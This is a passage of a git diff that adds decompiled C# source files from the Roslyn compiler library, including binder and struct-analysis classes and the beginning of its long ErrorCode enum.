+ case SyntaxKind.CheckedExpression: + case SyntaxKind.UncheckedExpression: + case SyntaxKind.DefaultExpression: + return true; + default: + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmbeddableAttributes.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmbeddableAttributes.cs new file mode 100644 index 0000000..d516c54 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmbeddableAttributes.cs @@ -0,0 +1,18 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +[Flags] +internal enum EmbeddableAttributes +{ + IsReadOnlyAttribute = 1, + IsByRefLikeAttribute = 2, + IsUnmanagedAttribute = 4, + NullableAttribute = 8, + NullableContextAttribute = 0x10, + NullablePublicOnlyAttribute = 0x20, + NativeIntegerAttribute = 0x40, + ScopedRefAttribute = 0x80, + RefSafetyRulesAttribute = 0x100, + RequiresLocationAttribute = 0x200 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmbeddedStatementBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmbeddedStatementBinder.cs new file mode 100644 index 0000000..1423041 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmbeddedStatementBinder.cs @@ -0,0 +1,63 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class EmbeddedStatementBinder : LocalScopeBinder +{ + private readonly StatementSyntax _statement; + + internal override bool IsLocalFunctionsScopeBinder => true; + + internal override bool IsLabelsScopeBinder => true; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_statement; + + public EmbeddedStatementBinder(Binder enclosing, StatementSyntax statement) + : base(enclosing, enclosing.Flags) + { + _statement = statement; + } + + protected override ImmutableArray BuildLocals() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(16); + BuildLocals(this, _statement, instance); + return instance.ToImmutableAndFree(); + } + + protected override ImmutableArray BuildLocalFunctions() + { + ArrayBuilder locals = null; + BuildLocalFunctions(_statement, ref locals); + return locals?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + protected override ImmutableArray BuildLabels() + { + ArrayBuilder labels = null; + LocalScopeBinder.BuildLabels((MethodSymbol)ContainingMemberOrLambda, _statement, ref labels); + return labels?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if (ScopeDesignator == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/EmbeddedStatementBinder.cs", 76); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + if ((object)ScopeDesignator == scopeDesignator) + { + return LocalFunctions; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/EmbeddedStatementBinder.cs", 94); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmptyStructTypeCache.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmptyStructTypeCache.cs new file mode 100644 index 0000000..37f60df --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EmptyStructTypeCache.cs @@ -0,0 +1,249 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class EmptyStructTypeCache +{ + private sealed class NeverEmptyStructTypeCache : EmptyStructTypeCache + { + public NeverEmptyStructTypeCache() + : base(null, dev12CompilerCompatibility: false) + { + } + + public override bool IsEmptyStructType(TypeSymbol type) + { + return false; + } + } + + private SmallDictionary _cache; + + internal readonly bool _dev12CompilerCompatibility; + + private readonly SourceAssemblySymbol _sourceAssembly; + + private SmallDictionary Cache => _cache ?? (_cache = new SmallDictionary((IEqualityComparer)SymbolEqualityComparer.ConsiderEverything)); + + public static EmptyStructTypeCache CreateForDev12Compatibility(CSharpCompilation compilation) + { + return new EmptyStructTypeCache(compilation, dev12CompilerCompatibility: true); + } + + public static EmptyStructTypeCache CreatePrecise() + { + return new EmptyStructTypeCache(null, dev12CompilerCompatibility: false); + } + + public static EmptyStructTypeCache CreateNeverEmpty() + { + return new NeverEmptyStructTypeCache(); + } + + private EmptyStructTypeCache(CSharpCompilation compilation, bool dev12CompilerCompatibility) + { + _dev12CompilerCompatibility = dev12CompilerCompatibility; + _sourceAssembly = compilation?.SourceAssembly; + } + + public virtual bool IsEmptyStructType(TypeSymbol type) + { + return IsEmptyStructType(type, ConsList.Empty); + } + + private bool IsEmptyStructType(TypeSymbol type, ConsList typesWithMembersOfThisType) + { + if (!(type is NamedTypeSymbol namedTypeSymbol) || !IsTrackableStructType(namedTypeSymbol)) + { + return false; + } + bool result = default(bool); + if (Cache.TryGetValue(namedTypeSymbol, ref result)) + { + return result; + } + result = CheckStruct(typesWithMembersOfThisType, namedTypeSymbol); + Cache[namedTypeSymbol] = result; + return result; + } + + private bool CheckStruct(ConsList typesWithMembersOfThisType, NamedTypeSymbol nts) + { + if (!ConsListExtensions.ContainsReference(typesWithMembersOfThisType, nts)) + { + typesWithMembersOfThisType = new ConsList(nts, typesWithMembersOfThisType); + return CheckStructInstanceFields(typesWithMembersOfThisType, nts); + } + return true; + } + + public static bool IsTrackableStructType(TypeSymbol type) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if ((object)type == null) + { + return false; + } + if (!(type.OriginalDefinition is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + if (namedTypeSymbol.IsStructType() && (int)namedTypeSymbol.SpecialType == 0) + { + return !namedTypeSymbol.KnownCircularStruct; + } + return false; + } + + private bool CheckStructInstanceFields(ConsList typesWithMembersOfThisType, NamedTypeSymbol type) + { + ImmutableArray.Enumerator enumerator = type.OriginalDefinition.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.IsStatic) + { + continue; + } + FieldSymbol actualField = GetActualField(current, type); + if ((object)actualField != null) + { + TypeSymbol type2 = actualField.Type; + if (!IsEmptyStructType(type2, typesWithMembersOfThisType)) + { + return false; + } + } + } + return true; + } + + public IEnumerable GetStructInstanceFields(TypeSymbol type) + { + if (!(type is NamedTypeSymbol type2)) + { + return SpecializedCollections.EmptyEnumerable(); + } + return GetStructFields(type2, includeStatic: false); + } + + public IEnumerable GetStructFields(NamedTypeSymbol type, bool includeStatic) + { + ImmutableArray.Enumerator enumerator = type.OriginalDefinition.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (includeStatic || !current.IsStatic) + { + FieldSymbol actualField = GetActualField(current, type); + if ((object)actualField != null) + { + yield return actualField; + } + } + } + } + + private FieldSymbol GetActualField(Symbol member, NamedTypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind == 6) + { + FieldSymbol fieldSymbol = (FieldSymbol)member; + if (fieldSymbol.IsVirtualTupleField) + { + return null; + } + if (!fieldSymbol.IsFixedSizeBuffer && !ShouldIgnoreStructField(fieldSymbol, fieldSymbol.Type)) + { + return fieldSymbol.AsMember(type); + } + return null; + } + return null; + } + EventSymbol eventSymbol = (EventSymbol)member; + if (eventSymbol.HasAssociatedField && !ShouldIgnoreStructField(eventSymbol, eventSymbol.Type)) + { + return eventSymbol.AssociatedField.AsMember(type); + } + return null; + } + + private bool ShouldIgnoreStructField(Symbol member, TypeSymbol memberType) + { + if (_dev12CompilerCompatibility && ((object)member.ContainingAssembly != _sourceAssembly || member.ContainingModule.Ordinal != 0) && IsIgnorableType(memberType)) + { + return !IsAccessibleInAssembly(member, _sourceAssembly); + } + return false; + } + + private static bool IsIgnorableType(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + TypeKind typeKind; + while (true) + { + typeKind = type.TypeKind; + if ((int)typeKind != 1) + { + break; + } + type = ((ArrayTypeSymbol)type).BaseTypeNoUseSiteDiagnostics; + } + if ((int)typeKind == 5 || typeKind - 10 <= 1) + { + return false; + } + return true; + } + + private static bool IsAccessibleInAssembly(Symbol symbol, SourceAssemblySymbol assembly) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected I4, but got Unknown + while (symbol != null && (int)symbol.Kind != 12) + { + Accessibility declaredAccessibility = symbol.DeclaredAccessibility; + switch (declaredAccessibility - 1) + { + case 1: + case 3: + if (!assembly.HasInternalAccessTo(symbol.ContainingAssembly)) + { + return false; + } + break; + case 0: + return false; + } + symbol = symbol.ContainingSymbol; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EntryPointsWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EntryPointsWalker.cs new file mode 100644 index 0000000..7f37e36 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EntryPointsWalker.cs @@ -0,0 +1,62 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class EntryPointsWalker : AbstractRegionControlFlowPass +{ + private readonly HashSet _entryPoints = new HashSet(); + + internal static IEnumerable Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, out bool? succeeded) + { + EntryPointsWalker entryPointsWalker = new EntryPointsWalker(compilation, member, node, firstInRegion, lastInRegion); + bool badRegion = false; + try + { + entryPointsWalker.Analyze(ref badRegion); + HashSet entryPoints = entryPointsWalker._entryPoints; + succeeded = !badRegion; + IEnumerable result; + if (!badRegion) + { + IEnumerable enumerable = entryPoints; + result = enumerable; + } + else + { + result = SpecializedCollections.EmptyEnumerable(); + } + return result; + } + finally + { + entryPointsWalker.Free(); + } + } + + private void Analyze(ref bool badRegion) + { + Scan(ref badRegion); + } + + private EntryPointsWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion) + { + } + + protected override void Free() + { + base.Free(); + } + + protected override void NoteBranch(PendingBranch pending, BoundNode gotoStmt, BoundStatement targetStmt) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (!gotoStmt.WasCompilerGenerated && !targetStmt.WasCompilerGenerated && RegionContains(targetStmt.Syntax.Span) && !RegionContains(gotoStmt.Syntax.Span)) + { + _entryPoints.Add((LabeledStatementSyntax)(object)targetStmt.Syntax); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EnumConversions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EnumConversions.cs new file mode 100644 index 0000000..41f7993 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EnumConversions.cs @@ -0,0 +1,32 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class EnumConversions +{ + internal static DeclarationKind ToDeclarationKind(this SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.ClassDeclaration: + return DeclarationKind.Class; + case SyntaxKind.InterfaceDeclaration: + return DeclarationKind.Interface; + case SyntaxKind.StructDeclaration: + return DeclarationKind.Struct; + case SyntaxKind.NamespaceDeclaration: + case SyntaxKind.FileScopedNamespaceDeclaration: + return DeclarationKind.Namespace; + case SyntaxKind.EnumDeclaration: + return DeclarationKind.Enum; + case SyntaxKind.DelegateDeclaration: + return DeclarationKind.Delegate; + case SyntaxKind.RecordDeclaration: + return DeclarationKind.Record; + case SyntaxKind.RecordStructDeclaration: + return DeclarationKind.RecordStruct; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ErrorCode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ErrorCode.cs new file mode 100644 index 0000000..6855373 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ErrorCode.cs @@ -0,0 +1,1839 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum ErrorCode +{ + Void = -2, + Unknown = -1, + ERR_NoMetadataFile = 6, + FTL_MetadataCantOpenFile = 9, + ERR_NoTypeDef = 12, + ERR_OutputWriteFailed = 16, + ERR_MultipleEntryPoints = 17, + ERR_BadBinaryOps = 19, + ERR_IntDivByZero = 20, + ERR_BadIndexLHS = 21, + ERR_BadIndexCount = 22, + ERR_BadUnaryOp = 23, + ERR_ThisInStaticMeth = 26, + ERR_ThisInBadContext = 27, + WRN_InvalidMainSig = 28, + ERR_NoImplicitConv = 29, + ERR_NoExplicitConv = 30, + ERR_ConstOutOfRange = 31, + ERR_AmbigBinaryOps = 34, + ERR_AmbigUnaryOp = 35, + ERR_InAttrOnOutParam = 36, + ERR_ValueCantBeNull = 37, + ERR_NoExplicitBuiltinConv = 39, + FTL_DebugEmitFailure = 41, + ERR_BadVisReturnType = 50, + ERR_BadVisParamType = 51, + ERR_BadVisFieldType = 52, + ERR_BadVisPropertyType = 53, + ERR_BadVisIndexerReturn = 54, + ERR_BadVisIndexerParam = 55, + ERR_BadVisOpReturn = 56, + ERR_BadVisOpParam = 57, + ERR_BadVisDelegateReturn = 58, + ERR_BadVisDelegateParam = 59, + ERR_BadVisBaseClass = 60, + ERR_BadVisBaseInterface = 61, + ERR_EventNeedsBothAccessors = 65, + ERR_EventNotDelegate = 66, + WRN_UnreferencedEvent = 67, + ERR_InterfaceEventInitializer = 68, + ERR_BadEventUsage = 70, + ERR_ExplicitEventFieldImpl = 71, + ERR_CantOverrideNonEvent = 72, + ERR_AddRemoveMustHaveBody = 73, + ERR_AbstractEventInitializer = 74, + ERR_PossibleBadNegCast = 75, + ERR_ReservedEnumerator = 76, + ERR_AsMustHaveReferenceType = 77, + WRN_LowercaseEllSuffix = 78, + ERR_BadEventUsageNoField = 79, + ERR_ConstraintOnlyAllowedOnGenericDecl = 80, + ERR_TypeParamMustBeIdentifier = 81, + ERR_MemberReserved = 82, + ERR_DuplicateParamName = 100, + ERR_DuplicateNameInNS = 101, + ERR_DuplicateNameInClass = 102, + ERR_NameNotInContext = 103, + ERR_AmbigContext = 104, + WRN_DuplicateUsing = 105, + ERR_BadMemberFlag = 106, + ERR_BadMemberProtection = 107, + WRN_NewRequired = 108, + WRN_NewNotRequired = 109, + ERR_CircConstValue = 110, + ERR_MemberAlreadyExists = 111, + ERR_StaticNotVirtual = 112, + ERR_OverrideNotNew = 113, + WRN_NewOrOverrideExpected = 114, + ERR_OverrideNotExpected = 115, + ERR_NamespaceUnexpected = 116, + ERR_NoSuchMember = 117, + ERR_BadSKknown = 118, + ERR_BadSKunknown = 119, + ERR_ObjectRequired = 120, + ERR_AmbigCall = 121, + ERR_BadAccess = 122, + ERR_MethDelegateMismatch = 123, + ERR_RetObjectRequired = 126, + ERR_RetNoObjectRequired = 127, + ERR_LocalDuplicate = 128, + ERR_AssgLvalueExpected = 131, + ERR_StaticConstParam = 132, + ERR_NotConstantExpression = 133, + ERR_NotNullConstRefField = 134, + ERR_LocalIllegallyOverrides = 136, + ERR_BadUsingNamespace = 138, + ERR_NoBreakOrCont = 139, + ERR_DuplicateLabel = 140, + ERR_NoConstructors = 143, + ERR_NoNewAbstract = 144, + ERR_ConstValueRequired = 145, + ERR_CircularBase = 146, + ERR_BadDelegateConstructor = 148, + ERR_MethodNameExpected = 149, + ERR_ConstantExpected = 150, + ERR_V6SwitchGoverningTypeValueExpected = 151, + ERR_DuplicateCaseLabel = 152, + ERR_InvalidGotoCase = 153, + ERR_PropertyLacksGet = 154, + ERR_BadExceptionType = 155, + ERR_BadEmptyThrow = 156, + ERR_BadFinallyLeave = 157, + ERR_LabelShadow = 158, + ERR_LabelNotFound = 159, + ERR_UnreachableCatch = 160, + ERR_ReturnExpected = 161, + WRN_UnreachableCode = 162, + ERR_SwitchFallThrough = 163, + WRN_UnreferencedLabel = 164, + ERR_UseDefViolation = 165, + WRN_UnreferencedVar = 168, + WRN_UnreferencedField = 169, + ERR_UseDefViolationField = 170, + ERR_UnassignedThisUnsupportedVersion = 171, + ERR_AmbigQM = 172, + ERR_InvalidQM = 173, + ERR_NoBaseClass = 174, + ERR_BaseIllegal = 175, + ERR_ObjectProhibited = 176, + ERR_ParamUnassigned = 177, + ERR_InvalidArray = 178, + ERR_ExternHasBody = 179, + ERR_AbstractAndExtern = 180, + ERR_BadAttributeParamType = 181, + ERR_BadAttributeArgument = 182, + WRN_IsAlwaysTrue = 183, + WRN_IsAlwaysFalse = 184, + ERR_LockNeedsReference = 185, + ERR_NullNotValid = 186, + ERR_UseDefViolationThisUnsupportedVersion = 188, + ERR_ArgsInvalid = 190, + ERR_AssgReadonly = 191, + ERR_RefReadonly = 192, + ERR_PtrExpected = 193, + ERR_PtrIndexSingle = 196, + WRN_ByRefNonAgileField = 197, + ERR_AssgReadonlyStatic = 198, + ERR_RefReadonlyStatic = 199, + ERR_AssgReadonlyProp = 200, + ERR_IllegalStatement = 201, + ERR_BadGetEnumerator = 202, + ERR_TooManyLocals = 204, + ERR_AbstractBaseCall = 205, + ERR_RefProperty = 206, + ERR_ManagedAddr = 208, + ERR_BadFixedInitType = 209, + ERR_FixedMustInit = 210, + ERR_InvalidAddrOp = 211, + ERR_FixedNeeded = 212, + ERR_FixedNotNeeded = 213, + ERR_UnsafeNeeded = 214, + ERR_OpTFRetType = 215, + ERR_OperatorNeedsMatch = 216, + ERR_BadBoolOp = 217, + ERR_MustHaveOpTF = 218, + WRN_UnreferencedVarAssg = 219, + ERR_CheckedOverflow = 220, + ERR_ConstOutOfRangeChecked = 221, + ERR_BadVarargs = 224, + ERR_ParamsMustBeArray = 225, + ERR_IllegalArglist = 226, + ERR_IllegalUnsafe = 227, + ERR_AmbigMember = 229, + ERR_BadForeachDecl = 230, + ERR_ParamsLast = 231, + ERR_SizeofUnsafe = 233, + ERR_DottedTypeNameNotFoundInNS = 234, + ERR_FieldInitRefNonstatic = 236, + ERR_SealedNonOverride = 238, + ERR_CantOverrideSealed = 239, + ERR_VoidError = 242, + ERR_ConditionalOnOverride = 243, + ERR_PointerInAsOrIs = 244, + ERR_CallingFinalizeDeprecated = 245, + ERR_SingleTypeNameNotFound = 246, + ERR_NegativeStackAllocSize = 247, + ERR_NegativeArraySize = 248, + ERR_OverrideFinalizeDeprecated = 249, + ERR_CallingBaseFinalizeDeprecated = 250, + WRN_NegativeArrayIndex = 251, + WRN_BadRefCompareLeft = 252, + WRN_BadRefCompareRight = 253, + ERR_BadCastInFixed = 254, + ERR_StackallocInCatchFinally = 255, + ERR_VarargsLast = 257, + ERR_MissingPartial = 260, + ERR_PartialTypeKindConflict = 261, + ERR_PartialModifierConflict = 262, + ERR_PartialMultipleBases = 263, + ERR_PartialWrongTypeParams = 264, + ERR_PartialWrongConstraints = 265, + ERR_NoImplicitConvCast = 266, + ERR_PartialMisplaced = 267, + ERR_ImportedCircularBase = 268, + ERR_UseDefViolationOut = 269, + ERR_ArraySizeInDeclaration = 270, + ERR_InaccessibleGetter = 271, + ERR_InaccessibleSetter = 272, + ERR_InvalidPropertyAccessMod = 273, + ERR_DuplicatePropertyAccessMods = 274, + ERR_AccessModMissingAccessor = 276, + ERR_UnimplementedInterfaceAccessor = 277, + WRN_PatternIsAmbiguous = 278, + WRN_PatternNotPublicOrNotInstance = 279, + WRN_PatternBadSignature = 280, + ERR_FriendRefNotEqualToThis = 281, + WRN_SequentialOnPartialClass = 282, + ERR_BadConstType = 283, + ERR_NoNewTyvar = 304, + ERR_BadArity = 305, + ERR_BadTypeArgument = 306, + ERR_TypeArgsNotAllowed = 307, + ERR_HasNoTypeVars = 308, + ERR_NewConstraintNotSatisfied = 310, + ERR_GenericConstraintNotSatisfiedRefType = 311, + ERR_GenericConstraintNotSatisfiedNullableEnum = 312, + ERR_GenericConstraintNotSatisfiedNullableInterface = 313, + ERR_GenericConstraintNotSatisfiedTyVar = 314, + ERR_GenericConstraintNotSatisfiedValType = 315, + ERR_DuplicateGeneratedName = 316, + ERR_GlobalSingleTypeNameNotFound = 400, + ERR_NewBoundMustBeLast = 401, + WRN_MainCantBeGeneric = 402, + ERR_TypeVarCantBeNull = 403, + ERR_DuplicateBound = 405, + ERR_ClassBoundNotFirst = 406, + ERR_BadRetType = 407, + ERR_DuplicateConstraintClause = 409, + ERR_CantInferMethTypeArgs = 411, + ERR_LocalSameNameAsTypeParam = 412, + ERR_AsWithTypeVar = 413, + WRN_UnreferencedFieldAssg = 414, + ERR_BadIndexerNameAttr = 415, + ERR_AttrArgWithTypeVars = 416, + ERR_NewTyvarWithArgs = 417, + ERR_AbstractSealedStatic = 418, + WRN_AmbiguousXMLReference = 419, + WRN_VolatileByRef = 420, + ERR_ComImportWithImpl = 423, + ERR_ComImportWithBase = 424, + ERR_ImplBadConstraints = 425, + ERR_DottedTypeNameNotFoundInAgg = 426, + ERR_MethGrpToNonDel = 428, + ERR_BadExternAlias = 430, + ERR_ColColWithTypeAlias = 431, + ERR_AliasNotFound = 432, + ERR_SameFullNameAggAgg = 433, + ERR_SameFullNameNsAgg = 434, + WRN_SameFullNameThisNsAgg = 435, + WRN_SameFullNameThisAggAgg = 436, + WRN_SameFullNameThisAggNs = 437, + ERR_SameFullNameThisAggThisNs = 438, + ERR_ExternAfterElements = 439, + WRN_GlobalAliasDefn = 440, + ERR_SealedStaticClass = 441, + ERR_PrivateAbstractAccessor = 442, + ERR_ValueExpected = 443, + ERR_UnboxNotLValue = 445, + ERR_AnonMethGrpInForEach = 446, + ERR_BadIncDecRetType = 448, + ERR_TypeConstraintsMustBeUniqueAndFirst = 449, + ERR_RefValBoundWithClass = 450, + ERR_NewBoundWithVal = 451, + ERR_RefConstraintNotSatisfied = 452, + ERR_ValConstraintNotSatisfied = 453, + ERR_CircularConstraint = 454, + ERR_BaseConstraintConflict = 455, + ERR_ConWithValCon = 456, + ERR_AmbigUDConv = 457, + WRN_AlwaysNull = 458, + ERR_OverrideWithConstraints = 460, + ERR_AmbigOverride = 462, + ERR_DecConstError = 463, + WRN_CmpAlwaysFalse = 464, + WRN_FinalizeMethod = 465, + ERR_ExplicitImplParams = 466, + WRN_GotoCaseShouldConvert = 469, + ERR_MethodImplementingAccessor = 470, + WRN_NubExprIsConstBool = 472, + WRN_ExplicitImplCollision = 473, + ERR_AbstractHasBody = 500, + ERR_ConcreteMissingBody = 501, + ERR_AbstractAndSealed = 502, + ERR_AbstractNotVirtual = 503, + ERR_StaticConstant = 504, + ERR_CantOverrideNonFunction = 505, + ERR_CantOverrideNonVirtual = 506, + ERR_CantChangeAccessOnOverride = 507, + ERR_CantChangeReturnTypeOnOverride = 508, + ERR_CantDeriveFromSealedType = 509, + ERR_AbstractInConcreteClass = 513, + ERR_StaticConstructorWithExplicitConstructorCall = 514, + ERR_StaticConstructorWithAccessModifiers = 515, + ERR_RecursiveConstructorCall = 516, + ERR_ObjectCallingBaseConstructor = 517, + ERR_PredefinedTypeNotFound = 518, + ERR_StructWithBaseConstructorCall = 522, + ERR_StructLayoutCycle = 523, + ERR_InterfacesCantContainFields = 525, + ERR_InterfacesCantContainConstructors = 526, + ERR_NonInterfaceInInterfaceList = 527, + ERR_DuplicateInterfaceInBaseList = 528, + ERR_CycleInInterfaceInheritance = 529, + ERR_HidingAbstractMethod = 533, + ERR_UnimplementedAbstractMethod = 534, + ERR_UnimplementedInterfaceMember = 535, + ERR_ObjectCantHaveBases = 537, + ERR_ExplicitInterfaceImplementationNotInterface = 538, + ERR_InterfaceMemberNotFound = 539, + ERR_ClassDoesntImplementInterface = 540, + ERR_ExplicitInterfaceImplementationInNonClassOrStruct = 541, + ERR_MemberNameSameAsType = 542, + ERR_EnumeratorOverflow = 543, + ERR_CantOverrideNonProperty = 544, + ERR_NoGetToOverride = 545, + ERR_NoSetToOverride = 546, + ERR_PropertyCantHaveVoidType = 547, + ERR_PropertyWithNoAccessors = 548, + ERR_NewVirtualInSealed = 549, + ERR_ExplicitPropertyAddingAccessor = 550, + ERR_ExplicitPropertyMissingAccessor = 551, + ERR_ConversionWithInterface = 552, + ERR_ConversionWithBase = 553, + ERR_ConversionWithDerived = 554, + ERR_IdentityConversion = 555, + ERR_ConversionNotInvolvingContainedType = 556, + ERR_DuplicateConversionInClass = 557, + ERR_OperatorsMustBeStatic = 558, + ERR_BadIncDecSignature = 559, + ERR_BadUnaryOperatorSignature = 562, + ERR_BadBinaryOperatorSignature = 563, + ERR_BadShiftOperatorSignature = 564, + ERR_InterfacesCantContainConversionOrEqualityOperators = 567, + ERR_CantOverrideBogusMethod = 569, + ERR_BindToBogus = 570, + ERR_CantCallSpecialMethod = 571, + ERR_BadTypeReference = 572, + ERR_BadDestructorName = 574, + ERR_OnlyClassesCanContainDestructors = 575, + ERR_ConflictAliasAndMember = 576, + ERR_ConditionalOnSpecialMethod = 577, + ERR_ConditionalMustReturnVoid = 578, + ERR_DuplicateAttribute = 579, + ERR_ConditionalOnInterfaceMethod = 582, + ERR_OperatorCantReturnVoid = 590, + ERR_InvalidAttributeArgument = 591, + ERR_AttributeOnBadSymbolType = 592, + ERR_FloatOverflow = 594, + ERR_InvalidReal = 595, + ERR_ComImportWithoutUuidAttribute = 596, + ERR_InvalidNamedArgument = 599, + ERR_DllImportOnInvalidMethod = 601, + ERR_FieldCantBeRefAny = 610, + ERR_ArrayElementCantBeRefAny = 611, + WRN_DeprecatedSymbol = 612, + ERR_NotAnAttributeClass = 616, + ERR_BadNamedAttributeArgument = 617, + WRN_DeprecatedSymbolStr = 618, + ERR_DeprecatedSymbolStr = 619, + ERR_IndexerCantHaveVoidType = 620, + ERR_VirtualPrivate = 621, + ERR_ArrayInitToNonArrayType = 622, + ERR_ArrayInitInBadPlace = 623, + ERR_MissingStructOffset = 625, + WRN_ExternMethodNoImplementation = 626, + WRN_ProtectedInSealed = 628, + ERR_InterfaceImplementedByConditional = 629, + ERR_InterfaceImplementedImplicitlyByVariadic = 630, + ERR_IllegalRefParam = 631, + ERR_BadArgumentToAttribute = 633, + ERR_StructOffsetOnBadStruct = 636, + ERR_StructOffsetOnBadField = 637, + ERR_AttributeUsageOnNonAttributeClass = 641, + WRN_PossibleMistakenNullStatement = 642, + ERR_DuplicateNamedAttributeArgument = 643, + ERR_DeriveFromEnumOrValueType = 644, + ERR_DefaultMemberOnIndexedType = 646, + ERR_BogusType = 648, + WRN_UnassignedInternalField = 649, + ERR_CStyleArray = 650, + WRN_VacuousIntegralComp = 652, + ERR_AbstractAttributeClass = 653, + ERR_BadNamedAttributeArgumentType = 655, + ERR_MissingPredefinedMember = 656, + WRN_AttributeLocationOnBadDeclaration = 657, + WRN_InvalidAttributeLocation = 658, + WRN_EqualsWithoutGetHashCode = 659, + WRN_EqualityOpWithoutEquals = 660, + WRN_EqualityOpWithoutGetHashCode = 661, + ERR_OutAttrOnRefParam = 662, + ERR_OverloadRefKind = 663, + ERR_LiteralDoubleCast = 664, + WRN_IncorrectBooleanAssg = 665, + ERR_ProtectedInStruct = 666, + ERR_InconsistentIndexerNames = 668, + ERR_ComImportWithUserCtor = 669, + ERR_FieldCantHaveVoidType = 670, + WRN_NonObsoleteOverridingObsolete = 672, + ERR_SystemVoid = 673, + ERR_ExplicitParamArray = 674, + WRN_BitwiseOrSignExtend = 675, + ERR_VolatileStruct = 677, + ERR_VolatileAndReadonly = 678, + ERR_AbstractField = 681, + ERR_BogusExplicitImpl = 682, + ERR_ExplicitMethodImplAccessor = 683, + WRN_CoClassWithoutComImport = 684, + ERR_ConditionalWithOutParam = 685, + ERR_AccessorImplementingMethod = 686, + ERR_AliasQualAsExpression = 687, + ERR_DerivingFromATyVar = 689, + ERR_DuplicateTypeParameter = 692, + 